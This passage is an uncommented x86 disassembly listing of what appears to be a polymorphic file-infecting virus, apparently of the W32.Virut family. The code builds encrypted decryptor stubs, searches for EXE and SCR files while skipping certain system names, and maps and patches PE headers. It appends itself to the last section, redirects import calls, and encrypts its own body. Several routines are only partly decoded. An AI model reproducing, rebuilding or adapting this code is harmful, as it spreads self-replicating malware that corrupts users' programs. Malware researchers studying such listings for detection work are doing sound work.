.RLPack:004FFD29j mov ax, 1809h or ah, [ebp+40342Ah] shl ah, 3 or ah, [ebp+40342Ah] stosw sub [ebp+40398Ah], edi loc_4FFD6B: ; CODE XREF: .RLPack:004FFD4Aj ; .RLPack:004FFD4Ej mov al, cl mov ah, [ebp+40398Ah] stosw mov al, 58h add al, [ebp+403429h] stosb test dword ptr [ebp+403431h], 1000003h jz loc_4FFE15 mov eax, 268B6467h mov ecx, [ebp+403431h] xor ecx, 2000000h test ecx, 3000000h jnz short loc_4FFDAC mov eax, 2E876467h loc_4FFDAC: ; CODE XREF: .RLPack:004FFDA5j stosd mov eax, 0 stosw jnz short loc_4FFDBC mov ax, 0E58Bh stosw loc_4FFDBC: ; CODE XREF: .RLPack:004FFDB4j mov eax, 68F6764h stosd xor eax, eax stosw test dword ptr [ebp+403431h], 1000000h jnz short loc_4FFE12 test dword ptr [ebp+403431h], 8000000h jz short loc_4FFE04 mov ax, 6C8Dh test dword ptr [ebp+403431h], 2000000h setnz cl or ah, cl stosw test cl, cl jnz short loc_4FFDFF mov ax, 424h stosw jmp short loc_4FFE12 ; --------------------------------------------------------------------------- loc_4FFDFF: ; CODE XREF: .RLPack:004FFDF5j mov al, 8 stosb jmp short loc_4FFE12 ; --------------------------------------------------------------------------- loc_4FFE04: ; CODE XREF: .RLPack:004FFDDCj mov ax, 5D58h add al, byte ptr ss:loc_40342B[ebp] stosw jmp short loc_4FFE15 ; --------------------------------------------------------------------------- loc_4FFE12: ; CODE XREF: .RLPack:004FFDD0j ; .RLPack:004FFDFDj ... mov al, 0C9h stosb loc_4FFE15: ; CODE XREF: .RLPack:004FFD88j ; .RLPack:004FFE10j test dword ptr [ebp+403431h], 80000000h jz short loc_4FFE41 mov al, 7 sub al, [ebp+403429h] shl eax, 1Ah or eax, 240889h add ah, [ebp+403429h] shl ah, 3 add ah, 4 stosd mov al, 61h stosb loc_4FFE41: ; CODE XREF: .RLPack:004FFE1Fj mov ax, 0E0FFh or ah, [ebp+403429h] stosw test dword ptr [ebp+403431h], 20h jz short loc_4FFEAC test dword ptr [ebp+403431h], 20000000h jz short loc_4FFE72 loc_4FFE65: ; CODE XREF: .RLPack:004FFE70j test edi, 3 jz short loc_4FFE72 mov al, 90h stosb jmp short loc_4FFE65 ; --------------------------------------------------------------------------- loc_4FFE72: ; CODE XREF: .RLPack:004FFE63j ; .RLPack:004FFE6Bj mov eax, edi mov ecx, [ebp+403982h] sub eax, ecx mov [ecx-4], eax mov al, 58h or al, [ebp+403429h] stosb test dword ptr [ebp+403431h], 400000h jz short loc_4FFEA0 mov ax, 0C350h or al, [ebp+403429h] jmp short loc_4FFEAA ; --------------------------------------------------------------------------- loc_4FFEA0: ; CODE XREF: .RLPack:004FFE92j mov ax, 0E0FFh or ah, [ebp+403429h] loc_4FFEAA: ; CODE XREF: .RLPack:004FFE9Ej stosw loc_4FFEAC: ; CODE XREF: .RLPack:004FFE57j test dword ptr [ebp+403431h], 1000003h jz short loc_4FFF2B test dword ptr [ebp+403431h], 20000000h jz short loc_4FFED1 loc_4FFEC4: ; CODE XREF: .RLPack:004FFECFj test edi, 3 jz short loc_4FFED1 mov al, 90h stosb jmp short loc_4FFEC4 ; --------------------------------------------------------------------------- loc_4FFED1: ; CODE XREF: .RLPack:004FFEC2j ; .RLPack:004FFECAj mov ecx, edi mov eax, [ebp+40399Ah] sub ecx, eax mov [eax-4], ecx xor ecx, ecx test dword ptr [ebp+403431h], 800000h jnz short loc_4FFEFA lea eax, [ebp+403429h] loc_4FFEF2: ; CODE XREF: .RLPack:004FFEF8j mov cl, [eax] inc eax cmp cl, 3 jnb short loc_4FFEF2 loc_4FFEFA: ; CODE XREF: .RLPack:004FFEEAj lea eax, ds:102444h[ecx*8] shl eax, 8 mov al, 8Bh stosd jecxz short loc_4FFF0F mov ax, 0C031h stosw loc_4FFF0F: ; CODE XREF: .RLPack:004FFF07j mov ax, 808Fh push 0B8h add ah, cl stosw pop eax stosd test ecx, ecx jnz short loc_4FFF28 mov ax, 0C031h stosw loc_4FFF28: ; CODE XREF: .RLPack:004FFF20j mov al, 0C3h stosb loc_4FFF2B: ; CODE XREF: .RLPack:004FFEB6j lea eax, [ebp+40343Ch] test dword ptr [ebp+403431h], 10000000h jnz short loc_4FFF43 push edi sub edi, eax pop eax jmp short loc_4FFF5C ; --------------------------------------------------------------------------- loc_4FFF43: ; CODE XREF: .RLPack:004FFF3Bj mov edx, [ebx+28h] sub edi, eax sub edx, eax mov ecx, [ebp+4039A2h] add [ebp+403982h], edx add [ecx], edi mov eax, [esp+4] loc_4FFF5C: ; CODE XREF: .RLPack:004FFF41j mov dword ptr ss:loc_40106D[ebp], edi mov edi, dword ptr ss:loc_403986[ebp] sub eax, [ebp+403982h] test dword ptr [ebp+403431h], 40h jz short loc_4FFF7C neg eax loc_4FFF7C: ; CODE XREF: .RLPack:004FFF78j stosd retn 4 ; =============== S U B R O U T I N E ======================================= sub_4FFF80 proc near ; CODE XREF: sub_5003AC+2A8p push esi push edi cmp dword ptr [ebp+4039AEh], 0 jz loc_500168 call near ptr loc_4FFFA0+1 dec ebx inc ebp push edx dec esi inc ebp dec esp xor esi, [edx] db 2Eh inc esp dec esp dec esp loc_4FFFA0: ; CODE XREF: sub_4FFF80+Fp add bh, bh sub_4FFF80 endp ; sp-analysis failed xchg eax, ebp mov ds:85890040h, dh mov esi, 53004039h mov ebx, [eax+3Ch] add ebx, eax push dword ptr [ebx+28h] mov eax, [ebx+34h] call sub_4FF6BA mov edx, dword ptr ss:loc_4039A6[ebp] pop ebx add eax, [edx+0Ch] mov [ebp+4039C2h], eax add eax, [edx+8] mov [ebp+4039C6h], eax mov esi, [ebx+28h] push dword ptr [ebx+80h] call sub_4FF6BA mov edi, dword ptr ss:loc_4039A6[ebp] push esi call sub_4FF6BA mov edx, dword ptr ss:loc_4039A6[ebp] mov ecx, [edx+8] add ecx, [edx+0Ch] sub ecx, esi sub ecx, 5 js loc_500168 jz loc_500168 add esi, [ebp+4039AAh] add esi, [ebp+403972h] ; START OF FUNCTION CHUNK FOR sub_500139 loc_50001A: ; CODE XREF: sub_500139+29j lodsb cmp al, 0E8h jnz loc_5000C5 lea eax, [esi+4] sub eax, [ebp+403972h] add eax, [esi] push eax call sub_4FF6BA cmp dword ptr ss:loc_4039A6[ebp], 0 jnz short loc_500048 cmp eax, [edi+0Ch] jnb loc_500161 jmp short loc_500054 ; --------------------------------------------------------------------------- loc_500048: ; CODE XREF: sub_500139-FEj cmp dword ptr ss:loc_4039A6[ebp], edx jnz loc_500161 loc_500054: ; CODE XREF: sub_500139-F3j add eax, [ebp+403972h] cmp word ptr [eax], 25FFh jnz loc_500161 mov eax, [eax+2] sub eax, [ebx+34h] push eax call sub_4FF6BA cmp dword ptr ss:loc_4039A6[ebp], edi jnz loc_500161 add eax, [ebp+4039AAh] add eax, [ebp+403972h] mov eax, [eax] sub eax, [edi+0Ch] jb loc_500161 cmp eax, [edi+8] jnb loc_500161 loc_50009D: ; CODE XREF: sub_500139+22j add eax, 2 add eax, [edi+14h] add eax, [ebp+403972h] push edx push eax push dword ptr ss:loc_4039BE[ebp] call dword ptr [ebp+403548h] pop edx test eax, eax jnz loc_500177 jmp loc_500161 ; --------------------------------------------------------------------------- loc_5000C5: ; CODE XREF: sub_500139-11Cj cmp al, 0FFh jnz loc_500161 cmp byte ptr [esi], 15h jnz loc_500161 mov eax, [esi+1] sub eax, [ebx+34h] push eax call sub_4FF6BA cmp dword ptr ss:loc_4039A6[ebp], edi jnz short loc_500161 add eax, [ebp+4039AAh] add eax, [ebp+403972h] mov dword ptr ss:loc_4039CA[ebp], eax mov eax, [eax] cmp eax, [ebp+4039C2h] jb short loc_50010E cmp eax, [ebp+4039C6h] jb short loc_500177 loc_50010E: ; CODE XREF: sub_500139-35j cmp eax, 70000000h jb short loc_50014C call sub_500139 lea ecx, [esi-4] mov eax, ecx sub eax, [edx] add eax, [edx+10h] cmp eax, dword ptr ss:loc_4039CA[ebp] jnz short locret_500138 add esp, 10h push dword ptr [ecx] pop [esp-0Ch+arg_24] popa jmp short loc_500153 ; --------------------------------------------------------------------------- locret_500138: ; CODE XREF: sub_500139-Fj retn ; END OF FUNCTION CHUNK FOR sub_500139 ; =============== S U B R O U T I N E ======================================= sub_500139 proc near ; CODE XREF: sub_500139-24p var_8 = dword ptr -8 arg_0 = dword ptr 4 arg_24 = dword ptr 28h ; FUNCTION CHUNK AT 0050001A SIZE 0000011F BYTES pop dword ptr [ebp+403992h] pusha mov esi, [ebp+403972h] call sub_4FF7C1 popa loc_50014C: ; CODE XREF: sub_500139-26j test eax, 80000000h jnz short loc_500161 loc_500153: ; CODE XREF: sub_500139-3j sub eax, [edi+0Ch] jb short loc_500161 cmp eax, [edi+8] jb loc_50009D loc_500161: ; CODE XREF: sub_500139-F9j ; sub_500139-EBj ... dec ecx jnz loc_50001A loc_500168: ; CODE XREF: sub_4FFF80+9j ; .RLPack:00500002j ... mov edi, [esp-4+arg_0] and dword ptr [edi+2431h], 7FFFFFFFh jmp short loc_5001B3 ; --------------------------------------------------------------------------- loc_500177: ; CODE XREF: sub_500139-7Fj ; sub_500139-2Dj or dword ptr [edx+24h], 0E0000060h dec esi xor eax, eax mov ecx, [esp+8+var_8] xchg eax, [ebp+4039AEh] lea edi, [ecx+2435h] add eax, [ebp+403972h] movsw movsd dec esi sub eax, esi add eax, [edx+14h] sub eax, [edx+0Ch] mov byte ptr [esi-5], 0E8h mov dword ptr [ecx+52h], 5 mov [esi-4], eax loc_5001B3: ; CODE XREF: sub_500139+3Cj pop edi pop esi retn sub_500139 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_5001B6 proc near ; CODE XREF: .RLPack:00500384p ; sub_5003AC+127p lea esi, [ebp+40384Eh] push esi call dword ptr [ebp+40357Ch] cmp eax, 0FFFFFFFFh jz locret_500287 mov [ebp+403952h], eax push 0 push esi call dword ptr [ebp+4035B4h] test eax, eax jz locret_500287 sub eax, eax push eax push eax push 3 push eax push 1 push 0C0000000h push esi call dword ptr ss:loc_40355C[ebp] cmp eax, 0FFFFFFFFh jz loc_50073F mov dword ptr ss:loc_403956[ebp], eax lea ecx, [ebp+40395Ah] lea edx, [ebp+403962h] push ecx push edx push 0 push eax call dword ptr [ebp+403584h] cmp eax, 0FFFFFFFFh jz loc_500733 push 0 push dword ptr ss:loc_403956[ebp] call dword ptr ss:loc_403580[ebp] cmp eax, 0FFFFFFFFh jz loc_500733 mov dword ptr ss:loc_40396A[ebp], eax xor ecx, ecx add eax, ebx push ecx push eax push ecx push 4 push ecx push dword ptr ss:loc_403956[ebp] call dword ptr [ebp+403560h] test eax, eax jz loc_500733 xor ecx, ecx mov [ebp+40396Eh], eax push ecx push ecx push ecx push 0F001Fh push eax call dword ptr [ebp+4035A0h] test eax, eax jz loc_50070B mov [ebp+403972h], eax locret_500287: ; CODE XREF: sub_5001B6+10j ; sub_5001B6+27j ... retn sub_5001B6 endp ; =============== S U B R O U T I N E ======================================= sub_500288 proc near ; CODE XREF: sub_5003AC+117p ; sub_5003AC+223p mov eax, 69CDh mov ecx, [ebx+38h] test dword ptr [ebp+403431h], 10000000h jnz short loc_5002A2 add eax, dword ptr ss:loc_40106D[ebp] loc_5002A2: ; CODE XREF: sub_500288+12j xor edx, edx add eax, ecx div ecx mul ecx mov [ebp+40397Ah], eax mov eax, 243Bh mov ecx, [ebx+3Ch] add eax, dword ptr ss:loc_40106D[ebp] xor edx, edx add eax, ecx div ecx mul ecx mov dword ptr ss:loc_403976[ebp], eax retn sub_500288 endp ; =============== S U B R O U T I N E ======================================= sub_5002CD proc near ; CODE XREF: sub_5003AC:loc_5003FBp ; sub_5003AC+13Dp movzx ecx, word ptr [ebx+6] stc loc_5002D2: ; CODE XREF: sub_5002CD+23j jecxz short locret_500309 lea edx, [ebx+18h] movzx eax, word ptr [ebx+14h] add edx, eax dec ecx imul eax, ecx, 28h add edx, eax cmp dword ptr [edx], 6E69775Fh stc jz short locret_500309 cmp dword ptr [edx+0Ch], 1 jb short loc_5002D2 mov ecx, [ebx+3Ch] mov eax, [edx+14h] add eax, [edx+10h] lea eax, [eax+ecx*2-1] neg ecx and eax, ecx cmp eax, dword ptr ss:loc_40396A[ebp] locret_500309: ; CODE XREF: sub_5002CD:loc_5002D2j ; sub_5002CD+1Dj ... retn sub_5002CD endp ; =============== S U B R O U T I N E ======================================= sub_50030A proc near ; CODE XREF: .RLPack:00500396p arg_C = dword ptr 10h mov edx, [esp+arg_C] xor eax, eax pop dword ptr [edx+0B8h] retn sub_50030A endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_500317: ; CODE XREF: .RLPack:00500338j mov ecx, edi jmp short loc_500326 ; --------------------------------------------------------------------------- lea edi, [ebp+40384Eh] cld loc_500322: ; CODE XREF: .RLPack:00500334j mov ebx, edi xor ecx, ecx loc_500326: ; CODE XREF: .RLPack:00500319j ; .RLPack:0050033Cj lodsb cmp al, 61h jb short loc_500331 cmp al, 7Ah ja short loc_500331 sub al, 20h loc_500331: ; CODE XREF: .RLPack:00500329j ; .RLPack:0050032Dj stosb cmp al, 5Ch jz short loc_500322 cmp al, 2Eh jz short loc_500317 cmp al, 0 jnz short loc_500326 jecxz short locret_500309 mov eax, [ecx] cmp eax, 455845h jz short loc_500354 cmp eax, 524353h jnz locret_500287 loc_500354: ; CODE XREF: .RLPack:00500347j mov eax, [ebx] cmp eax, 434E4957h jz locret_500287 cmp eax, 4E554357h jz locret_500287 cmp eax, 32334357h jz locret_500287 cmp eax, 4F545350h jz locret_500287 xor ebx, ebx call sub_5001B6 jz locret_500287 xor edx, edx call sub_5003AC call sub_50030A call $+5 pop ebp sub ebp, offset loc_402F8A jmp loc_5006E9 ; =============== S U B R O U T I N E ======================================= sub_5003AC proc near ; CODE XREF: .RLPack:00500391p var_14 = dword ptr -14h push dword ptr fs:[edx] mov esi, [ebp+403972h] mov fs:[edx], esp cmp word ptr [esi], 5A4Dh jnz loc_5006E9 mov ebx, [esi+3Ch] add ebx, esi cmp word ptr [ebx], 4550h jnz loc_5006E9 test dword ptr [ebx+16h], 2000h jnz loc_5006E9 test byte ptr [ebx+5Ch], 2 mov ecx, [esi+20h] jz loc_5006E9 jecxz short loc_5003FB cmp ecx, 101h jbe loc_5006E9 loc_5003FB: ; CODE XREF: sub_5003AC+41j call sub_5002CD jb loc_5006E9 mov ecx, [edx+10h] add ecx, [edx+0Ch] mov eax, 10000h push ecx call sub_4FEF05 xor [ebp+40342Fh], dl mov cl, 20h xor [ebp+403430h], dh loc_500425: ; CODE XREF: sub_5003AC+92j push 20h dec cl pop eax js short loc_500440 call sub_4FEF05 test edx, edx setz dl shl edx, cl xor [ebp+403431h], edx jmp short loc_500425 ; --------------------------------------------------------------------------- loc_500440: ; CODE XREF: sub_5003AC+7Ej ; sub_5003AC+CDj ... push 6 pop ecx loc_500446: ; CODE XREF: sub_5003AC+B8j push 6 pop eax call sub_4FEF05 mov al, [ebp+403429h] xchg al, [edx+ebp+403429h] mov [ebp+403429h], al loop loc_500446 test dword ptr [ebp+403431h], 8 jnz short loc_50047B cmp byte ptr ss:loc_40342B[ebp], 1 jz short loc_500440 loc_50047B: ; CODE XREF: sub_5003AC+C4j test dword ptr [ebp+403431h], 1000003h jz short loc_5004A2 cmp byte ptr [ebp+403429h], 5 jz short loc_500440 cmp byte ptr [ebp+40342Ah], 5 jz short loc_500440 cmp byte ptr ss:loc_40342B[ebp], 5 jz short loc_500440 loc_5004A2: ; CODE XREF: sub_5003AC+D9j test dword ptr [ebp+403431h], 80000000h jz short loc_5004B7 cmp byte ptr [ebp+403429h], 2 ja short loc_500440 loc_5004B7: ; CODE XREF: sub_5003AC+100j and dword ptr [ebp+4039AEh], 0 call loc_4FF952 call sub_500288 call sub_5006F2 mov ebx, dword ptr ss:loc_403976[ebp] call sub_5001B6 jz loc_5006E9 mov esi, [ebp+403972h] mov ebx, [esi+3Ch] add ebx, esi call sub_5002CD jb loc_5006E9 or dword ptr [edx+24h], 0E0000060h mov edi, esi push edx push esi add edi, [edx+14h] add edi, [edx+10h] test dword ptr [ebp+403431h], 10000000h jnz short loc_50051F lea esi, [ebp+40343Ch] mov ecx, dword ptr ss:loc_40106D[ebp] rep movsb loc_50051F: ; CODE XREF: sub_5003AC+163j push edi mov ecx, 90Fh lea esi, sub_401000[ebp] rep movsd mov cl, 0 jecxz short loc_500533 rep movsb loc_500533: ; CODE XREF: sub_5003AC+183j test dword ptr [ebp+403431h], 10000000h jz loc_5005EB push dword ptr [ebx+28h] call sub_4FF6BA mov edx, dword ptr ss:loc_4039A6[ebp] test edx, edx jz loc_5005EB mov esi, [ebp+403972h] mov ecx, [edx+10h] or dword ptr [edx+24h], 0E0000060h sub ecx, [edx+8] jnb short loc_500570 xor ecx, ecx loc_500570: ; CODE XREF: sub_5003AC+1C0j add esi, [edx+14h] cmp ecx, dword ptr ss:loc_40106D[ebp] mov ecx, dword ptr ss:loc_40106D[ebp] jb short loc_5005D7 mov edi, [esp+14h+var_14] and dword ptr ss:loc_40106D[ebp], 0 and dword ptr [edi+6Dh], 0 mov edi, [edx+8] add [edx+8], ecx add esi, edi xchg esi, edi mov eax, dword ptr ss:loc_403986[ebp] test dword ptr [ebp+403431h], 40h jz short loc_5005B0 neg dword ptr [eax] loc_5005B0: ; CODE XREF: sub_5003AC+200j add esi, [edx+0Ch] sub [eax], esi mov [ebp+4039AEh], esi mov esi, [ebx+28h] add [eax], esi test dword ptr [ebp+403431h], 40h jz short loc_5005CE neg dword ptr [eax] loc_5005CE: ; CODE XREF: sub_5003AC+21Ej push ecx call sub_500288 pop ecx jmp short loc_5005E3 ; --------------------------------------------------------------------------- loc_5005D7: ; CODE XREF: sub_5003AC+1D3j add esi, [ebx+28h] sub esi, [edx+0Ch] push ecx push esi rep movsb pop edi pop ecx loc_5005E3: ; CODE XREF: sub_5003AC+229j lea esi, [ebp+40343Ch] rep movsb loc_5005EB: ; CODE XREF: sub_5003AC+191j ; sub_5003AC+1A7j pop edi pop esi rdtsc xchg eax, edx lea eax, [edi+1D2h] cmp dl, [ebp+40342Fh] jnz short loc_500604 imul edx, 12345678h loc_500604: ; CODE XREF: sub_5003AC+250j mov [eax-1], dl call sub_4FE5D8 pop edx mov ecx, [edx+0Ch] add ecx, [edx+10h] test dword ptr [ebp+403431h], 10000000h lea eax, [ecx+6] jnz short loc_500635 mov [ebp+4039AEh], ecx add eax, dword ptr ss:loc_40106D[ebp] and dword ptr [edi+6Dh], 0 loc_500635: ; CODE XREF: sub_5003AC+274j sub eax, [ebx+28h] push dword ptr [ebp+40397Eh] mov [edi+52h], eax pop dword ptr [esi+20h] test dword ptr [ebp+403431h], 80000000h jz short loc_50065A push edx call sub_4FFF80 pop edx loc_50065A: ; CODE XREF: sub_5003AC+2A5j mov ecx, [ebp+4039AEh] jecxz short loc_500665 mov [ebx+28h], ecx loc_500665: ; CODE XREF: sub_5003AC+2B4j mov ecx, [edx+10h] mov eax, dword ptr ss:loc_403976[ebp] cmp [edx+8], ecx jnb short loc_500676 mov [edx+8], ecx loc_500676: ; CODE XREF: sub_5003AC+2C5j add [edx+10h], eax and dword ptr [ebx+58h], 0 mov eax, [ebp+40397Ah] push 243Ch add [edx+8], eax pop ecx add [ebx+50h], eax mov dl, [ebp+40342Fh] test dword ptr [ebp+403431h], 10000000h jz short loc_5006A7 add ecx, dword ptr ss:loc_40106D[ebp] loc_5006A7: ; CODE XREF: sub_5003AC+2F3j mov dh, 0 test dword ptr [ebp+403431h], 20000h jnz short loc_5006C9 inc dh test dword ptr [ebp+403431h], 40000h jnz short loc_5006C9 mov dh, [ebp+403430h] loc_5006C9: ; CODE XREF: sub_5003AC+307j ; sub_5003AC+315j test dword ptr [ebp+403431h], 4000h jnz short loc_5006E0 loc_5006D5: ; CODE XREF: sub_5003AC+330j mov al, [edi] add al, dl stosb add dl, dh loop loc_5006D5 jmp short loc_5006E9 ; --------------------------------------------------------------------------- loc_5006E0: ; CODE XREF: sub_5003AC+327j ; sub_5003AC+33Bj mov al, [edi] xor al, dl stosb add dl, dh loop loc_5006E0 loc_5006E9: ; CODE XREF: .RLPack:005003A7j ; sub_5003AC+11j ... xor edx, edx mov esp, fs:[edx] pop dword ptr fs:[edx] pop eax sub_5003AC endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_5006F2 proc near ; CODE XREF: sub_5003AC+11Cp cmp dword ptr ss:loc_403956[ebp], 0 jz locret_500287 push dword ptr [ebp+403972h] call dword ptr ss:loc_4035C4[ebp] loc_50070B: ; CODE XREF: sub_5001B6+C5j push dword ptr [ebp+40396Eh] call dword ptr ss:loc_40353C[ebp] lea ecx, [ebp+40395Ah] lea edx, [ebp+403962h] push ecx push edx push 0 push dword ptr ss:loc_403956[ebp] call dword ptr [ebp+4035B8h] loc_500733: ; CODE XREF: sub_5001B6+6Bj ; sub_5001B6+82j ... push dword ptr ss:loc_403956[ebp] call dword ptr ss:loc_40353C[ebp] loc_50073F: ; CODE XREF: sub_5001B6+45j lea esi, [ebp+40384Eh] push dword ptr [ebp+403952h] push esi call dword ptr [ebp+4035B4h] and dword ptr ss:loc_403956[ebp], 0 retn sub_5006F2 endp ; --------------------------------------------------------------------------- dw 0E8h dd 5D000000h, 0ED81016Ah, 403349h, 0C10FF058h, 40158085h dd 0C3C08500h, 0F0FFC883h, 8085C10Fh, 0C3004015h, 2A00103Dh dd 661C7500h, 0C247C81h, 1375716Ch, 0FFC4E860h, 575FFFFh dd 0FFFB7EE8h, 0FFD2E8FFh, 2E61FFFFh, 56782DFFh, 25B81234h dd 60000000h, 0FFFFA5E8h, 8B3975FFh, 8D302444h, 40384EB5h dd 8508B00h, 63A8166h, 56257302h, 0FF000068h, 6AC48B00h dd 0FF505200h, 4035F895h, 8C48300h, 3F5C3E81h, 3755C3Fh dd 0E804C683h, 0FFFFFB2Bh, 0FFFF7FE8h, 0B8C361FFh, 74h dd 2FB8B1EBh, 0E8000000h, 10h, 0B80020C2h, 30h, 3E8h, 24C200h dd 0C24548Dh, 0F8832ECDh, 60197C00h, 0E8h, 24548B00h, 1A8B5D30h dd 3413ED81h, 39E80040h, 61FFFFE5h, 10004C2h, 7060203h dd 724DB505h, 0FF052273h, 119415h, 9001h, 3Fh dup(0) dd 9B470000h, 8AD7C80h, 3317C83h, 0ADA07C91h, 7C80h, 2 dup(0) dd 0BDB60000h, 1A247C80h, 945C7C80h, 23677C80h, 42C7C80h dd 6377C81h, 4B0F7C81h, 0C0587C86h, 0E7EC7C80h, 153C7C80h dd 0A777C81h, 1C457C81h, 0B6A17C83h, 8FF7C80h, 5DCA7C86h dd 11DA7C83h, 2ADE7C81h, 1D777C81h, 0B9057C80h, 0BB767C80h dd 9E17C80h, 3DE57C83h, 3F587C86h, 27827C86h, 1CB87C81h dd 24427C83h, 0B1C7C80h, 0B9747C81h, 9A517C80h, 0D877C80h dd 0D4607C81h, 0D6827C90h, 0D7547C90h, 0D7697C90h, 0D7937C90h dd 0DC557C90h, 0DCFD7C90h, 0DD907C90h, 0DEB67C90h, 0EA327C90h dd 30C67C90h, 7C91h, 14h dup(0) dd 380036h, 500A6Ch, 42005Ch, 730061h, 4E0065h, 6D0061h dd 640065h, 62004Fh, 65006Ah, 740063h, 5C0073h, 330057h dd 5F0032h, 690056h, 740072h, 75h, 0BCh dup(0) dd 69h, 0Ch dup(0) dd 7FFD6000h, 116Eh dup(0) db 0 _RLPack ends ; Section 3. (virtual address 00106000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 00105400 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata2 segment para public 'DATA' use32 assume cs:_idata2 ;org 506000h dd 80h dup(0) align 1000h _idata2 ends end start